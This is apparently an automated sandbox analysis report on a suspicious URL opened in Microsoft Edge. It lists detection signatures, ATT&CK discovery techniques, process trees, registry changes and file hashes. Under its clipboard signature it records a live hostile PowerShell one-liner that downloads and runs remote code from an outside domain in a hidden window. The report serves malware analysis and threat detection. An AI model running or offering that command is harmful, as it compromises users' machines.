hxxps://communications[.]bnlaw[.]com[.]au/e/jky9ewmpznthbg

Analysis

user interaction
yes
max time kernel
599s
max time network
421s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/07/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://communications.bnlaw.com.au/e/jky9ewmpznthbg
Sample260728-ejnaqaxfla

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 2 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h "iex(irm 'authorization-code-cdn.info/2b303118c315adcb' -UseBasicParsing)"; exit <#2b303118c315adcb#>	msedge.exe
powershell -w h "iex(irm 'authorization-code-cdn.info/2b303118c315adcb' -UseBasicParsing)"; exit <#2b303118c315adcb#>	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3780	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296847226534695"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2746394149-3500112804-1243524366-1000\{53F1D9DE-5E3E-4DE0-B615-5A54D4C0B0E2}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2176	msedge.exe
2176	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe
2484	msedge.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2484 wrote to memory of 5092	2484	msedge.exe	79
PID 2484 wrote to memory of 3780	2484	msedge.exe	80
PID 2484 wrote to memory of 2948	2484	msedge.exe	81
PID 2484 wrote to memory of 2948	2484	msedge.exe	81
PID 2484 wrote to memory of 2948	2484	msedge.exe	81
PID 2484 wrote to memory of 3468	2484	msedge.exe	82
PID 2484 wrote to memory of 3468	2484	msedge.exe	82
PID 2484 wrote to memory of 5156	2484	msedge.exe	84
PID 2484 wrote to memory of 5156	2484	msedge.exe	84
PID 2484 wrote to memory of 5160	2484	msedge.exe	85
PID 2484 wrote to memory of 5156	2484	msedge.exe	84
PID 2484 wrote to memory of 5160	2484	msedge.exe	85
PID 2484 wrote to memory of 5160	2484	msedge.exe	85
PID 2484 wrote to memory of 1996	2484	msedge.exe	87
PID 2484 wrote to memory of 2416	2484	msedge.exe	88
PID 2484 wrote to memory of 1996	2484	msedge.exe	87
PID 2484 wrote to memory of 2416	2484	msedge.exe	88
PID 2484 wrote to memory of 2164	2484	msedge.exe	89
PID 2484 wrote to memory of 3952	2484	msedge.exe	91
PID 2164 wrote to memory of 5840	2164	msedge.exe	92
PID 2484 wrote to memory of 4692	2484	msedge.exe	95
PID 2484 wrote to memory of 4692	2484	msedge.exe	95
PID 2484 wrote to memory of 4692	2484	msedge.exe	95
PID 2484 wrote to memory of 4572	2484	msedge.exe	96
PID 2484 wrote to memory of 2520	2484	msedge.exe	97
PID 2484 wrote to memory of 4352	2484	msedge.exe	98
PID 2484 wrote to memory of 3316	2484	msedge.exe	99
PID 2484 wrote to memory of 3316	2484	msedge.exe	99
PID 2484 wrote to memory of 4824	2484	msedge.exe	101
PID 2484 wrote to memory of 4824	2484	msedge.exe	101
PID 2484 wrote to memory of 4824	2484	msedge.exe	101
PID 2484 wrote to memory of 2564	2484	msedge.exe	102
PID 2484 wrote to memory of 2564	2484	msedge.exe	102
PID 2484 wrote to memory of 2564	2484	msedge.exe	102
PID 2484 wrote to memory of 2176	2484	msedge.exe	103
PID 2484 wrote to memory of 2544	2484	msedge.exe	104
PID 2484 wrote to memory of 2544	2484	msedge.exe	104
PID 2484 wrote to memory of 5236	2484	msedge.exe	105
PID 2484 wrote to memory of 5236	2484	msedge.exe	105
PID 2484 wrote to memory of 3964	2484	msedge.exe	106
PID 2484 wrote to memory of 3964	2484	msedge.exe	106

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://communications.bnlaw.com.au/e/jky9ewmpznthbg
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b8,0x7ff92cccc188,0x7ff92cccc194,0x7ff92cccc1a0
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1820,i,14328129622619302639,3670139494380906320,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1528,i,3084808278963002554,9573378456793307413,262144 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:2
  2⤵
  PID:2948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2184,i,7802367293387398647,910064999810061849,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:13
  2⤵
  PID:3468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,5276033950327760873,10431825654000556341,2097152 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:5156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3476,i,7288845138985625794,14356036097766654811,2097152 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
  2⤵
  PID:5160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4972,i,6422853534611771479,3928219878479758119,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:14
  2⤵
  PID:1996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,16137101080853878805,18385988206687419553,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5816,i,210369243952679921,18323379016673640974,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1128
    3⤵
    PID:5840
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,4379586709968099783,13156324116294226376,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
  2⤵
  PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,4379586709968099783,13156324116294226376,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
  2⤵
  PID:3952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=6164,i,18145384450815540544,16489960672246073840,2097152 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:1
  2⤵
  PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3604,i,11928021339101372259,930442359415086786,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3556,i,11492908025526943884,957809681516149656,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
  2⤵
  PID:2520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3592,i,10941876603344499708,8939376641904908125,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:14
  2⤵
  PID:4352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3712,i,17876684337052999003,1929403283038079832,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:14
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6036,i,15824994726041950292,17999220978215285154,2097152 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7124,i,11307322086151283674,6850281408472241623,2097152 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:1
  2⤵
  PID:2564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7012,i,10847014348568374807,11951658041322933738,262144 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3320,i,18207622262348018237,16742427934145741723,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
  2⤵
  PID:2544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,9845343846814288799,1814622452432396182,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
  2⤵
  PID:5236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5708,i,16845432569365490,16876646723503908074,524288 --field-trial-handle=2176,i,4008780718067245024,5569856887761919647,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:14
  2⤵
  PID:3964

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4156

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1156

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 79054d3106248f0ce580d1442e78fcc5cc48ea2a5eb3b58c6aad98c7106da4b2
MD5 89a1e1173735f4835befe22b5e8bb285
SHA1 d6f781e38a6443407276a07888372638a8f2106f
SHA512 1f5c9b3554cf3bce4cd1214982a8df00dcc74324e66dbddb67a94598fbc762dc44d06c78c7a30a27a408611eba6e2715e40527ce854f203815d9515ab7dc00ce
TLSH
T129D0C0363A2D3003D3195331E042C703332704701C43E201E110C00C9D784D1D3C50C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6b09340cb22edbf71e0f90763fd435b35e26e3a84e71f4c033073dc564ceacd0
MD5 de82f6df0733dc6e89fad64d305f5367
SHA1 f27019be86cb5f8ddd353a4dc0ef3c6cfe6da7db
SHA512 b2443f684be01ef337dd32e8e1253d69b81d20f7291a2a1fa8998d0f723bb6bc114ee5bce6cc270ceadc8b45e5d854eb59b93ff60a8a13d338c218e132c169ff
TLSH
T19DD0C0323E293003D3055331E082C703333700701C43E201E150C01C9DB84D1D7C50C3
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 82bd432ac1a8c6074a3a777c49ad05ff6ee6eb4d836a62ba0cd6be327b65307a
MD5 059bf1c0683b397efc2170c50a8bab2a
SHA1 c59b880e70a6f630b31487ef3dfbe745b28d75e7
SHA512 712333e7cc838a3a5388473432e2b283a74a7605d6cd48fffd808973a1da06449a665ba8860ac057abc66ff44eba8f4e05a6b47876a124b3880e634008bb71d7
TLSH
T177E026B518CAC22F9300744B9964438CC2813F0F96C87B4E570885C83203091B3EB5E0
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 352B
SHA256 55b553986497eb828b6f80c311f309726f3819e15f24d26c31acba7f95dbf339
MD5 ba6c4acb4d501b0f51f5fe1b2f3a857a
SHA1 ad7b05d12d0757aefbbe4d035a5f454fb97d52c3
SHA512 f2a59d6ab8b20e76969bba4a48506f304ee56c4c4cdaf88f5399731e3fcb156d0d9a0e7976fd1a11d0979add30e206e78597f35121630111301b46d3a67f4996
TLSH
T10EE02646A3C0C5AC2285FB4B8844E31BC103F907998CBEBD321CE4AD3940F08977B1A4
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
Size 268B
SHA256 1bde510a8acdd1d135fbd1d26695a7177a38cad7616e7840b7d88ef57f9430b8
MD5 2445f38166b3efa1b0ad6e117099c9af
SHA1 b3f93bf435f496b755324d28eaa543af6048af19
SHA512 2035296a44e12f4683e79ba3ae34e02da77a1dcb85b7bcc0a7e8be1f00a770d159e4d9feb7582f35800ffa0c18b03c501aace9b79d531548b2faf5089f6c5f8c
TLSH
T177D02B9AFDEC9E8EC7E44ABD57A9B4000A4802A3840B9B1310347EC034956F01E35030
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 12d28edbf5bb20e41be295963e65b8dfd9ea047089545d62b6744f50679122a4
MD5 54e8c4d47938945e042dba739aa66bb7
SHA1 373f3d797a06254ae9370fa68da4ce8626c9a6bd
SHA512 11297a626239955674afd94b50f728d26efaa8b7ff91d1790d04fe7658ab05ac5680a7efc1579ba11cac9eb804e6b788f9c6e189063e5f5e590512f5bd4930ba
TLSH
T121E061AEC970EC3718FE0B1EA0954745EB5023971680955F3A3F950C8FF473A46C985C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 b9f8b05b0eed5727bd0168f0c97fe0f56683fb7dc903aa58ad41b3b2fdc33427
MD5 70f6e7c14074bd99507f71071288d28f
SHA1 f3e85b046ee6a12ec5bb9e5bd18ee4ecacbdf673
SHA512 01c2cd221906d2defbfcbf403fb41d572fe7c52bbfbffa83e59514b663b1908f5ad39eb184a4d94edd436fbd4676fafcf2bdaa19a5bceed988c30e1011008807
SSDEEP 96:SzBJj3GrW3fKrz/bUJKMhLtqjkCNRV9FzuFBskae91OxI4WyjgUpjnQLhI:gJjYW3irznMpaVNXzuweHOzWyMUlQLa
TLSH
T15BF16FAF63D311CFDF244674A5A28C0926AC79A654863F2F07188B74382FBE1F819906
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 1ec88a699d1b67017ab202bf74de58d5d0ef81a51264be9433db463d1e09f7bc
MD5 2bc9deba27cfa3e5aed3998af7168026
SHA1 a40ffc9fea83973020fedb6ebaf4269c246723bc
SHA512 6abc7dffc8ce23025db5f0168c7d969077466266e69de9017a860980a2c9f3b8691602244ff9d59f009699f8374ee9588d2fe57e79125909d29415e0ee132a8b
SSDEEP 96:cnJsi9hKn/P4VhBjA8aex5UD4/yUrjAQLZ:YJsJnYVHkex5V/yUwQLZ
TLSH
T12EB106EF03C302DBEB240574A4E18E0E6A6C7AB619527F4F04689B78301FBE4F42DA44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58d452.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58d452.TMP
Size 3KB
SHA256 c2f6f3c47f6e7b7d3b626a67cdca3573b6ff7e8b717a8a9a888769d6a06fe495
MD5 773e77a85443a07e06fdee19c7721967
SHA1 3afea54c3ca8520e3bfd91452022505f4938e653
SHA512 f271a1d23687231019ea10893cef3d6ce7e588a5680d532be1114941389a08a949750fdb0a1bfe488a2932b52bab9369fec96bfb46923222753c57ed2f83f073
TLSH
T1957160BF0383045FE32019B1E5E1D9097B7C6EB759973E59208C8C79151BB34F55EA84
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 42908cc8a1f67a426f1db7614d0387ed49e158bc8d89597c4ef6b446e9f19661
MD5 57cf959422b15cca191e2e210f63c89b
SHA1 170c932f0fc049debd7aa43cc5ca3fefdbed5e60
SHA512 0dd515edd43579fabdb7ab90163f4c3a37eb66307987c970b917d8589241c8540de653b486d988e0b00b6fbc3067e554712072d7fb5b07715b178beb8bcdd369
SSDEEP 192:D1OZi13Eo440aaij6e5W2ju7M+ldCfkc57++GtK6Gj4:D1OZ03Eo440aaiGe5W2K7M+ldCfkc57s
TLSH
T185E1CDF787E8812EC95155F0EE14AE2BCE2C1655436C3D5E89E4EF4BA3E3471E101A8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 e16c4cf9fdda14c30e6fab391940750bb701bd2a9eeece171bc7a83111a69596
MD5 ce29d48ff4d7755bc8e785b5e46e2363
SHA1 9ee8b0ab99a9b0a1370e7abe32713d45173a3711
SHA512 90831634ac8502c272b3db9e737c5a5d0de482d53ac15611747abd5f5fcc7c367411ef727988d1ebeb54c3f2c59db4b9cbb548a98570b7caa37368fea356f0fb
